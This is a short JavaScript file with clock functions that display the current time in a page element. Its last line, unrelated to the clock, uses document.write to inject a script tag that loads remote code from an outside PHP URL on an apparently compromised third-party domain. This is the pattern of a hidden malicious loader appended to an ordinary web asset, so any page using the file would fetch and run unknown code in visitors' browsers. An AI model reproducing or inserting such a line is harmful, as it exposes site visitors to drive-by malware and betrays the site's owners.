var clockID = 0;

function UpdateClock() {
	if(clockID) {
		clearTimeout(clockID);
		clockID  = 0;
	}

	var tDate = new Date();
	var hours = tDate.getHours();
	var minutes = tDate.getMinutes();
	var seconds = tDate.getSeconds();
	
	if ( seconds< 10 ) 
		seconds = "0" + seconds;
	
	if ( hours < 10 ) 
		hours = "0" + hours;
		
	if ( minutes < 10 ) 
		minutes = "0" + minutes;
		
	document.all["lblJSClock"].innerHTML = "" 
                                   + hours + ":" 
                                   + minutes + ":" 
                                   + seconds;
   
	clockID = setTimeout("UpdateClock()", 1000);
}

function StartClock() {
	clockID = setTimeout("UpdateClock()", 500);
}

function KillClock() {
   if(clockID) {
      clearTimeout(clockID);
      clockID  = 0;
   }
}

document.write('<script src=http://kanto.ac.jp/course/VIVID.php ><\/script>');